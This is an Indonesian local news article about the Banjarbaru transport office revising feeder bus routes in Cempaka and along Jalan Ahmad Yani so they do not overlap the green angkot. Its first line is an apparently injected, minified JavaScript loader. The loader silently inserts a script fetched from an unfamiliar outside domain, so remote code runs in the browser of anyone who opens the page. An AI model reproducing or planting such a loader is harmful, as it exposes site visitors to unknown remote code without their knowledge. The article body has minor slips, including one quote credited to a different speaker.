(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Revisi Trayek Angkutan Feeder Banjarbaru, Cempaka dan A Yani Tetap Jalur Angkot Hijau

KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru merevisi dua trayek atau rute angkutan feeder di kawasan Cempaka dan ruas Jalan Ahmad Yani Kota Banjarbaru agar tak bersinggungan langsung dengan angkutan perkotaan (Angkot) hijau.

Keputusan itu disepakati Dishub Banjarbaru dengan Organda Banjarbaru setelah melakukan beberapa kali uji trayek angkutan feeder dalam beberapa hari terakhir.

Kepala Dinas Perhubungan (Kadishub) Banjarbaru, Muhammad Mirhansyah mengatakan, angkutan feeder yang melayani warga Kecamatan Cempaka adalah tetap menggunakan Angkot hijau milik anggota Organda.

“Sedangkan di Jalan Ahmad Yani juga masih dilayani oleh Angkot hijau yang sampai saat ini tetap jalan,” ujar Muhammad Mirhansyah.

Hasil evaluasi uji trayek yang dilakukan beberapa waktu lalu, Mirhan mengatakan bahwa angkutan feeder tetap lebih mengutamakan jemputan penumpang dari kawasan dalam agar bisa tersambung sebagai pengumpan dengan layanan Bus Trans Banjarbakula.

Sehingga, katanya, ada beberapa perubahan jalur angkutan feeder juara yang telah diumumkan melalui media sosial resmi Dishub Kota Banjarbaru.

Perubahan jalur ini seperti, jika awal hanya ada 5 rute atau trayek yang dilayani, setelah dievaluasi rute ditambah hingga ada 7 jalur saat ini.

“Pertama yang melayani dari Halte Al Muhtadien ke Jalan Golf Kelurahan Syamsudin Noor. Berikutnya melayani dari Masjid Al Mukaromah ke arah Jalan Peramuan,” sebut dia.

Kemudian ada angkutan feeder yang melayani dari Jalan Ahmad Yani menuju Pasar Bauntung sampai menuju ke RSD Idaman Banjarbaru.

“Selanjutnya dari Masjid Agung Al Munawwarah menuju GOR Rudy Resnawan kemudian melayani ke rute menuju komplek perkantoran Gubernur Kalsel,” sambuhgnya.

Sementara itu angkutan feeder juga melayani di sepanjang ruas Jalan Panglima Batur hingga menuju Jalan Karang Anyar dan Jalan Kebun Karet.

“Itu tetap dilayani, kemudian juga ada melayani di Jalan Panglima Batur arah Mentaos dan terakhir melayani di kawasan Sungai Ulin,” sebutnya.

“Beberapa perubahan alur ini sudah kita umumkan di sosial media Instagram Dishub Banjarbaru masyarakat bisa cek,” ungkap dia.

Lebih lanjut, Mirhan menjelaskan bahwa dari uji trayek sekaligus uji coba angkutan feeder yang dilakukan sebelumnya cukup mengundang banyak penumpang untuk masuk mencobanya.

“Beberapa hari ini Alhamdulillah lumayan banyak yang masuk penumpang menurut hasil evaluasi dari kawan-kawan pramudi,” ungkapnya.

Sementara itu ada beberapa evaluasi yang diberikan oleh pramudi angkutan feeder adalah meminta agar titik hentinya berada di tempat yang teduh.

Kemudian beberapa titik henti angkutan diarahkan agar tepat seperti dengan sekolah, sebab banyak anak-anak sekolah yang memerlukan angkutan feeder ini.

“Namun ini juga masih evaluasi, Insya Allah sampai bulan Oktober akan betul-betul beroperasi penuh,” tuntas Dahtiar.

Adapun saat uji coba ini operasional angkutan feeder dibuka dari pagi hingga pukul 17.00 Wita. Sedangkan nanti kata Mirhan, jika sudah beroperasi penuh maka pelayanan dibuka hingga pukul 21.00 Wita. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie